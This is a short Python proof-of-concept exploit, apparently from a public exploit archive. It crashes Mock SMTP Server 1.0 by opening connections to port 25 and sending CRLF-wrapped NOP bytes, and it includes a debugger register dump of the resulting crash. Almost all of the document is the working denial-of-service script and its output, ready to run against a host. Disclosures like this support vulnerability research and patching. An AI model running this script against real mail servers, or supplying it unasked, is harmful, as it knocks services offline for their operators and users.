#!/usr/bin/python
# Exploit Title: Mock SMTP Server 1.0 Remote Crash PoC
# Date: 23-08-2015
# Exploit Author: Shankar Damodaran
# Author's Twitter : @sh4nx0r
# Vendor Homepage: http://mocksmtpserver.codeplex.com
# Software Link: http://mocksmtpserver.codeplex.com/downloads/get/87077
# Version: 1.0
# Tested on: Microsoft Windows 7 Home Premium Service Pack 1
# Tested on: Microsoft Windows XP Professional SP3
# Image PoC : http://i.imgur.com/lp7NHTm.png


# The Stack Trace from Microsoft Windows XP Professional SP3
'''
The Exception occured on EBX Register (E0434F4D)

The Registers during the crash

EAX 03BAF618
ECX 00000000
EDX 00000028
EBX E0434F4D
ESP 03BAF614
EBP 03BAF668
ESI 03BAF6A4
EDI 001DFF28
EIP 7C812FD3 KERNEL32.7C812FD3
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD6000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr WSAECONNRESET (00002746)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Courtesy : Immunity Debugger

'''



import socket

# Preparing a junk array with two NOPS.
junk_bed=["\x90","\x90"]

# The ip address of the remote host
smtphost = '192.168.1.7'

# The port of the remote host
smtpport = 25

for junk in junk_bed:
	
	# Initialize the socket stream
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	
	# Setting a 5 second tolerance limit to check the server uptime
	s.settimeout(5)
	
	# Connecting to the remote service.
	s.connect((smtphost,smtpport))

	# If the server doesn't respond, means its crashed.
    	try:
		s.recv(1)
	except socket.timeout:
		print "The SMTP Server has been crashed."
		quit()
	
	# Sending the evil input
	print "Evil Input Sent...Triggering a crash."
	s.send('\r\n'+junk+'\r\n')

	# Close the connection socket
	s.close()

# End of PoC - Shankar Damodaran